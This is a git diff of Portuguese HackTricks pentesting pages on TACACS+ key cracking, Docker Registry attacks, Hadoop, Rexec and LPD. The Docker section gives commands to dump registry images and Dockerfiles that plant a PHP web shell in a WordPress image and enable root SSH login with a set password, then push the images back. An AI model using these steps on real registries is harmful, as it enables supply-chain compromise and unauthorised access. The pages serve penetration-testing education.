* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Grupo de Segurança Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -31,26 +32,26 @@ PORT STATE SERVICE
```
**Porta padrão:** 49
## Interceptação da Chave de Autenticação
## Interceptar a Chave de Autenticação
Se a comunicação entre o cliente e o servidor TACACS for interceptada por um atacante, a **chave de autenticação criptografada pode ser interceptada**. O atacante pode então tentar um **ataque de força bruta local contra a chave sem ser detectado nos logs**. Se tiver sucesso na força bruta da chave, o atacante ganha acesso ao equipamento de rede e pode descriptografar o tráfego usando ferramentas como o Wireshark.
Se a comunicação entre o cliente e o servidor TACACS for interceptada por um atacante, a **chave de autenticação criptografada pode ser interceptada**. O atacante pode então tentar um **ataque de força bruta local contra a chave sem ser detectado nos logs**. Se bem-sucedido em quebrar a chave, o atacante ganha acesso ao equipamento de rede e pode descriptografar o tráfego usando ferramentas como Wireshark.
### Realizando um Ataque Man-in-the-Middle (MitM)
### Realizando um Ataque MitM
Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
### Força Bruta na Chave
### Forçando a Chave
O [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para forçar a chave:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para forçar a chave:
```
sudo loki_gtk.py
```
Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado TACACS**.
Se a chave for **quebrada por força bruta** (**geralmente em formato MD5 criptografado**), **podemos acessar o equipamento e descriptografar o tráfego criptografado pelo TACACS.**
### Descriptografando o Tráfego
Uma vez que a chave é **quebrada com sucesso**, o próximo passo é **descriptografar o tráfego criptografado TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidas.
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado pelo TACACS**. O Wireshark pode lidar com tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner utilizado e o nome de usuário do admin** podem ser obtidas.
Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante observar que essas ações são estritamente para fins educacionais e não devem ser usadas sem autorização adequada.
Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante notar que essas ações são estritamente para fins educacionais e não devem ser usadas sem a devida autorização.
## Referências
@ -62,16 +63,17 @@ Ao obter acesso ao painel de controle do equipamento de rede usando as credencia
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,51 +1,47 @@
# 5000 - Pentesting Docker Registry
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
Um sistema de armazenamento e distribuição conhecido como **registro Docker** está em vigor para imagens Docker que são nomeadas e podem ter várias versões, diferenciadas por tags. Essas imagens são organizadas dentro de **repositórios Docker** no registro, cada repositório armazenando várias versões de uma imagem específica. A funcionalidade fornecida permite que as imagens sejam baixadas localmente ou enviadas para o registro, desde que o usuário tenha as permissões necessárias.
Um sistema de armazenamento e distribuição conhecido como **Docker registry** está em vigor para imagens Docker que são nomeadas e podem vir em várias versões, distinguidas por tags. Essas imagens são organizadas dentro de **Docker repositories** no registro, cada repositório armazenando várias versões de uma imagem específica. A funcionalidade fornecida permite que as imagens sejam baixadas localmente ou enviadas para o registro, assumindo que o usuário tenha as permissões necessárias.
**DockerHub** serve como o registro público padrão para o Docker, mas os usuários também têm a opção de operar uma versão local do registro/distribuição Docker de código aberto ou optar pelo **Docker Trusted Registry** com suporte comercial. Além disso, vários outros registros públicos podem ser encontrados online.
**DockerHub** serve como o registro público padrão para Docker, mas os usuários também têm a opção de operar uma versão local do registro/distribuição Docker de código aberto ou optar pelo **Docker Trusted Registry** suportado comercialmente. Além disso, vários outros registros públicos podem ser encontrados online.
Para baixar uma imagem de um registro local, o seguinte comando é usado:
```bash
docker pull my-registry:9000/foo/bar:2.1
```
Este comando busca a imagem `foo/bar` na versão `2.1` no registro localizado no domínio `my-registry` na porta `9000`. Por outro lado, para baixar a mesma imagem do DockerHub, especialmente se `2.1` for a versão mais recente, o comando simplifica para:
Este comando busca a imagem `foo/bar` versão `2.1` do registro local no domínio `my-registry` na porta `9000`. Por outro lado, para baixar a mesma imagem do DockerHub, especialmente se `2.1` for a versão mais recente, o comando se simplifica para:
```bash
docker pull foo/bar
```
**Porta padrão:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
## Descoberta
A maneira mais fácil de descobrir este serviço em execução é obtê-lo na saída do nmap. De qualquer forma, observe que, como é um serviço baseado em HTTP, ele pode estar atrás de proxies HTTP e o nmap não o detectará. Algumas impressões digitais:
A maneira mais fácil de descobrir este serviço em execução é obtê-lo na saída do nmap. De qualquer forma, note que, como é um serviço baseado em HTTP, ele pode estar atrás de proxies HTTP e o nmap não o detectará.\
Algumas impressões digitais:
* Se você acessar `/`, nada será retornado na resposta
* Se você acessar `/v2/`, então `{}` é retornado
* Se você acessar `/v2/_catalog`, você pode obter:
* Se você acessar `/` nada é retornado na resposta
* Se você acessar `/v2/` então `{}` é retornado
* Se você acessar `/v2/_catalog` você pode obter:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
@ -53,8 +49,7 @@ A maneira mais fácil de descobrir este serviço em execução é obtê-lo na sa
### HTTP/HTTPS
O registro do Docker pode ser configurado para usar **HTTP** ou **HTTPS**. Portanto, a primeira coisa que você pode precisar fazer é **descobrir qual** está sendo configurado:
O Docker registry pode ser configurado para usar **HTTP** ou **HTTPS**. Portanto, a primeira coisa que você pode precisar fazer é **descobrir qual** está sendo configurado:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
@ -65,11 +60,9 @@ Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
### Autenticação
O registro do Docker também pode ser configurado para exigir **autenticação**:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
@ -77,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
Se o Docker Registry estiver exigindo autenticação, você pode [**tentar fazer força bruta usando isso**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Se encontrar credenciais válidas, você precisará usá-las** para enumerar o registro, no `curl` você pode usá-las assim:
Se o Docker Registry estiver exigindo autenticação, você pode [**tentar forçar a senha usando isso**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**Se você encontrar credenciais válidas, precisará usá-las** para enumerar o registro, no `curl` você pode usá-las assim:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
### Enumeração usando DockerRegistryGrabber
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em Python para enumerar / extrair registros do Docker (sem autenticação ou com autenticação básica)
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em python para enumerar / despejar o registro docker (sem ou com autenticação básica)
```bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
@ -162,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
### Enumeração usando curl
Uma vez que **obteve acesso ao registro do docker**, aqui estão alguns comandos que você pode usar para enumerá-lo:
Uma vez que você **obteve acesso ao docker registry**, aqui estão alguns comandos que você pode usar para enumerá-lo:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
@ -229,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
Note que ao baixar e descompactar os arquivos blobs, pastas e arquivos aparecerão no diretório atual. **Se você baixar todos os blobs e descompactá-los na mesma pasta, eles irão sobrescrever os valores dos blobs previamente descompactados**, então tenha cuidado. Pode ser interessante descompactar cada blob em uma pasta diferente para inspecionar o conteúdo exato de cada blob.
Observe que quando você baixa e descomprime os arquivos e pastas de blobs, eles aparecerão no diretório atual. **Se você baixar todos os blobs e descompactá-los na mesma pasta, eles substituirão os valores dos blobs descompactados anteriormente**, então tenha cuidado. Pode ser interessante descomprimir cada blob dentro de uma pasta diferente para inspecionar o conteúdo exato de cada blob.
{% endhint %}
### Enumeração usando docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
@ -254,10 +239,9 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
### Backdooring WordPress image
### Inserindo backdoor na imagem do WordPress
No cenário em que você encontrou um Registro Docker salvando uma imagem do WordPress, você pode inserir um backdoor.\
No cenário em que você encontrou um Docker Registry salvando uma imagem do wordpress, você pode inserir um backdoor.\
**Crie** o **backdoor**:
{% code title="shell.php" %}
@ -269,59 +253,67 @@ No cenário em que você encontrou um Registro Docker salvando uma imagem do Wor
Crie um **Dockerfile**:
{% code title="Dockerfile" %}
```
```
{% endcode %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
**Criar** a nova imagem, **verificar** se foi criada e **enviá-la**:
**Crie** a nova imagem, **verifique** se foi criada e **envie**-a:
```bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
```
### Backdooring SSH server image
### Instalando um backdoor no servidor SSH image
Suponha que você encontrou um Registro Docker com uma imagem SSH e deseja instalar um backdoor nele.\
**Baixe** a imagem e **execute**:
Suponha que você encontrou um Docker Registry com uma imagem SSH e deseja backdoorá-la.\
**Baixe** a imagem e **execute**-a:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
Extrair o arquivo `sshd_config` da imagem SSH:
Extraia o arquivo `sshd_config` da imagem SSH:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
E modifique para definir: `PermitRootLogin yes`
E modifique-o para definir: `PermitRootLogin yes`
Crie um **Dockerfile** como o seguinte:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
**Crie** a nova imagem, **verifique** se foi criada e **envie**-a:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
## Referências
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Criar\*\* a nova imagem, \*\*verificar\*\* se foi criada e \*\*enviar\*\*: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Referências \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
# **Informações Básicas**
**Apache Hadoop** é um **framework de código aberto** para **armazenamento e processamento distribuído** de **grandes conjuntos de dados** em **clusters de computadores**. Ele usa **HDFS** para armazenamento e **MapReduce** para processamento.
Infelizmente, o Hadoop não possui suporte no framework Metasploit no momento da documentação. No entanto, você pode usar os seguintes **scripts Nmap** para enumerar os serviços do Hadoop:
Infelizmente, o Hadoop não possui suporte no framework Metasploit no momento da documentação. No entanto, você pode usar os seguintes **scripts Nmap** para enumerar serviços Hadoop:
- **`hadoop-jobtracker-info (Porta 50030)`**
- **`hadoop-tasktracker-info (Porta 50060)`**
@ -25,5 +26,19 @@ Infelizmente, o Hadoop não possui suporte no framework Metasploit no momento da
- **`hadoop-datanode-info (Porta 50075)`**
- **`hadoop-secondary-namenode-info (Porta 50090)`**
É crucial notar que **o Hadoop opera sem autenticação em sua configuração padrão**. No entanto, para maior segurança, estão disponíveis configurações para integrar o Kerberos com os serviços HDFS, YARN e MapReduce.
É crucial observar que **o Hadoop opera sem autenticação em sua configuração padrão**. No entanto, para segurança aprimorada, estão disponíveis configurações para integrar o Kerberos com os serviços HDFS, YARN e MapReduce.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# 512 - Pentesting Rexec
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
É um serviço que **permite que você execute um comando dentro de um host** se você souber as **credenciais** válidas (nome de usuário e senha).
É um serviço que **permite que você execute um comando dentro de um host** se você souber **credenciais** válidas (nome de usuário e senha).
**Porta Padrão:** 512
```
@ -25,16 +26,17 @@ PORT STATE SERVICE
```
### [**Brute-force**](../generic-methodologies-and-resources/brute-force.md#rexec)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Introdução ao Protocolo LPD**
